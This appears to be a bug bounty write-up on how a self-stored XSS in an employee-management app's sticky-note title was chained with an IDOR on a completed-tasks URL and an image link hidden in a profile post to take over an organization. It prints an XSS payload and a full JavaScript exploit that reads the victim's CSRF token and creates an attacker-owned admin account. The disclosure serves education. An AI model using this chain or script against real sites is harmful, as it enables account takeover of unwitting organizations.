xss · high

Escalating Self-XSS to Stored XSS via Image Injection + IDOR

9 min read r29k

How a self-XSS became an organization takeover by chaining it with image injection and an IDOR.

Hello everyone, hope you're all doing well. In this one I'll share how I found a self-stored XSS and escalated it into an organization takeover by chaining it with image injection and an IDOR. We all know XSS and IDOR, but what is image injection? A few days ago I saw a tweet where Fisher asked about it, and people in the replies were calling "loading images in a text field, or via an <img> tag" image injection. I'd actually found this exact chain a few days before that tweet, so when a friend sent me the link and asked me to explain it, I realized the chain deserved a writeup.

First, what is image injection?

I did some googling and found that vulnerabilities occurring through image metadata are usually what's called image injection, for example stuffing an XSS or PHP payload inside a valid image. But what I mean by image injection here is being able to load an external image with an <img> tag, like this:

image injection
<img src="https://r29k.com/external-image.jpg">

That looks like HTML injection, right? It does, but I wasn't allowed full HTML, only a few tags like <img>, <a> and <br> were permitted.

The target

The program was an employee management system: you manage the employees of your own organization, create tasks and groups for them. Employees can follow each other, even across organizations, send messages, and see, comment on and like each other's posts, a bit like Facebook. Admins and Managers create tasks and assign them to employees. You can build tasks from scratch, or use pre-built templates that already come with a nice theme, some basic info and widgets. You can also add a small sticky note inside a task.

The self-XSS

When I first hit these templates I missed the sticky note option, it was hidden inside a "More options" dropdown. It had two fields, title and description, and the title field was vulnerable to stored XSS. I dropped this payload into the title and added it to my task:

stored xss payload
"><svg/onload=alert(1)>

On saving and opening the task, the XSS fired. The problem was that it was self-stored XSS, from Admin to my own employees, which on its own is low or informational.

Trying to escalate

The next step was turning this into a stored XSS that hits other people. I tried adding employees from another organization via IDOR, no luck. I couldn't share tasks outside my org, and accessing a first-org task from my second org directly by URL returned 403. CSRF didn't work either. Stuck, I left the XSS there and moved on to testing other templates, creating more tasks and assigning them to my employees. Nothing new came up.

I signed into one of my employee accounts and saw the tasks I'd assigned. An employee can mark a task as completed, which moves it into a completed state. I marked a few completed and carried on testing other features from the employee side.

The IDOR that unlocked it

Back in the admin account, on the tasks page, an option appeared that wasn't there before: "List all completed tasks", which lets you list every employee's completed tasks and check their progress and comments. Clicking it opened a new page with an unfamiliar URL containing a 6-digit ID. I opened that URL from my second account, which belongs to a different organization, and I could see the completed tasks of my first account. Changing the ID let me see other users' completed tasks too (this was a pentesting environment, so no real user data).

And there it was, the task with the sticky-note XSS. So the path became: add a sticky note with the XSS payload to a task, assign it to an employee, mark it completed from the employee account so it lands in the completed-tasks list, then send that list's URL to the victim (an admin of another organization). They open the list, see the one completed task, open it, and the XSS fires on their side. Self-stored XSS escalated to stored XSS. One catch: it behaved like reflected XSS, I still had to send the victim a URL. I was going for Bugcrowd MVP, so I needed a clean P2.

Image injection: removing the "send a link" problem

Users can post to their profile, and those posts are visible to their followers, including followers from other organizations. I tested the post feature for XSS directly and found nothing, but I noticed the site allowed <img>, <a> and a few formatting tags like line breaks, bold and italic. This is where image injection comes in: I can hide the completed-task-list URL behind an image and post it. My followers see the image, click it, land on my completed-task list, and opening any task fires the XSS, because every task there carries the sticky-note payload.

The full chain in motion, from a clicked image to a fired payload.

This is how the task-list URL gets hidden behind an image:

task url behind image
<a href="https://target.com/tasks?tab=completed&taskID=123456"><img src="https://r29k.com/123/images.jpeg"></a>
How it renders on the profile, a normal-looking image.

The exploit: adding an admin

Now I needed an exploit to add my own account, with admin privileges, into the victim's organization. This is where Neolex comes in, a good friend who always helps me on the exploitation side. He wrote this to host on our server:

exploit.js
function getCsrf() { xhr = new XMLHttpRequest(); xhr.open('GET', 'https://target.com/admin/user/new', true); xhr.responseType = 'document'; xhr.onload = function () { if (this.readyState === XMLHttpRequest.DONE && this.status === 200) { var doc = xhr.responseXML; csrf = doc.querySelector('meta[name="csrf-token"]').content; addAdmin(csrf); } }; xhr.send(); } function addAdmin(csrfToken) { fetch('https://target.com:443/admin/user', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Origin': 'https://target.com', 'Referer': 'https://target.com/admin/user' }, credentials: 'include', body: 'authenticity_token=' + encodeURIComponent(csrfToken) + '&first_name=R29k&last_name=hacker&email=r29k_hacker@test.com&password=qwerty111&confirm_password=qwerty111&roles=admin&save=' }); } getCsrf();

The exploit steals the victim's CSRF token, then uses it to fire a request from the victim's browser that adds a new admin account. The activation link lands in our inbox, and we log into the victim's organization as an admin.

Reporting and outcome

Then came the part I hate most but still spend a lot of time on: writing a good report, with a gif and screenshots. The triager marked it P3 and my heart sank. He disagreed on the severity, so I asked him to confirm with the program owner, which he did by raising a blocker. The program owner asked me to add my account to his organization with admin privileges. I just asked him to open my profile, click the image, and open any task from the list. When I woke up the next morning, there was an email: a 500 USD bounty, the severity bumped to P2, and a kind comment from the program owner.


Any questions? Reach me on Twitter, @R29k_. See you in the next one.

more writeups
Account Takeover via Chained IDORs Wayback Machine to Account Takeover SSTI to Local File Read
← all writeups